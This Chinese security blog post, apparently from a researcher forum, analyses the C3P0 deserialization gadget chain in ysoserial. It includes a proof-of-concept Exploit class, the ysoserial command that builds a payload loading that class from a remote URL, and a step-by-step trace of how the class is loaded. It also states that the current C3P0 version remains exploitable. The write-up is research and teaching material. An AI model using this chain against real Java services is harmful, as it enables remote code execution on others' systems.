0x01 概述

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。

0x02 环境搭建

//pom.xml
        <!-- https://mvnrepository.com/artifact/com.mchange/c3p0 -->
        <dependency>
            <groupId>com.mchange</groupId>
            <artifactId>c3p0</artifactId>
            <version>0.9.5.2</version>
        </dependency>

0x03 漏洞复现

public class Exploit {
    public Exploit(){
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (Exception e) {

        }
    }
}
java -jar ysoserial-master-55f1e7c35c-1.jar C3P0 "http://127.0.0.1:8888/:Exploit" > test.txt
python -m SimpleHTTPServer 8888

0x04 利用链分析

public Object getObject ( String command ) throws Exception {
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = command.substring(0, sep);
        String className = command.substring(sep + 1);

        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
        return b;
    }

这里简单分享一个 ysoserial 本身的调试,知道的师傅可以略过了,debug的时候在 Program arguments 增加相关参数。

然后在 ysoserial.GeneratePayload 选择debug启动,并且在C3P0处下一个断点,自然就进来了。

首先通过 Reflections.createWithoutConstructor 构造了无参数对象,可以看到这里面只有类名,其他啥都没。

然后将对象的 connectionPoolDataSource 设置为了我们需要的 C3P0 的内部 PoolSource 对象。

但是我们都知道反序列化漏洞肯定是需要序列化生成对象,所以会和 writeObject 有关系,进入到 PoolBackedDataSourceBase ,这里首先尝试进行序列化。但是回头看看我们的开头的 PoolSource 类的定义,没有继承 Serializable 接口,所以他没办法进行序列化。根据下图中的代码逻辑,当无法进行序列化的时候,自然进入到是第三个红框中的获取 reference 。这里代码中有个 this.connectionPoolDataSource 对象,这也是为什么最开始定义 PoolSource 类的时候需要同时实现 ConnectionPoolDataSourceReferenceable

而在 ReferenceIndirector 这个类中,对象 Reference 会被 ReferenceSerialized 包装后写入到数据字节流中。

上面就是 payload 生成过程中利用链,既然是序列化生成,那么反序列化的时候自然会针对对象进行读取。在 PoolBackedDataSourceBase 中会进行readobject方法读取序列化对象中的 ReferenceSerialized 对象。

然后会调用 ReferenceIndirector#getObject 方法,读取刚刚写入的恶意类 Exploit

最后return时候经过 ReferenceableUtils.referenceToObject 处理,在 referenceToObject 看到了最终的触发点。通过刚刚传入的URL地址,加载了我们的恶意类 Exploit ,并且调用无参构造函数进行实例化,最后完成整个过程。

序列化过程:

反序列化过程:

0x05 漏洞修复

其实不能说是漏洞,应该说是利用链缓解,本以为 ysoserial 这个组件中说的 c3p0:0.9.5.2

那么下一个版本可能会有缓解措施,但是现实却是十分的骨感,我在这个地方,看到当前最高版本是0.9.5.5更新时间是2019/12

实际测试下来,依然能够使用

0x06 小结

这个利用链还是挺有趣的,有点像JDNI注入,通过获取工厂对象,重新构造ConnectionPoolDataSource,利用反序列化一步步达到自己的目的。

点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖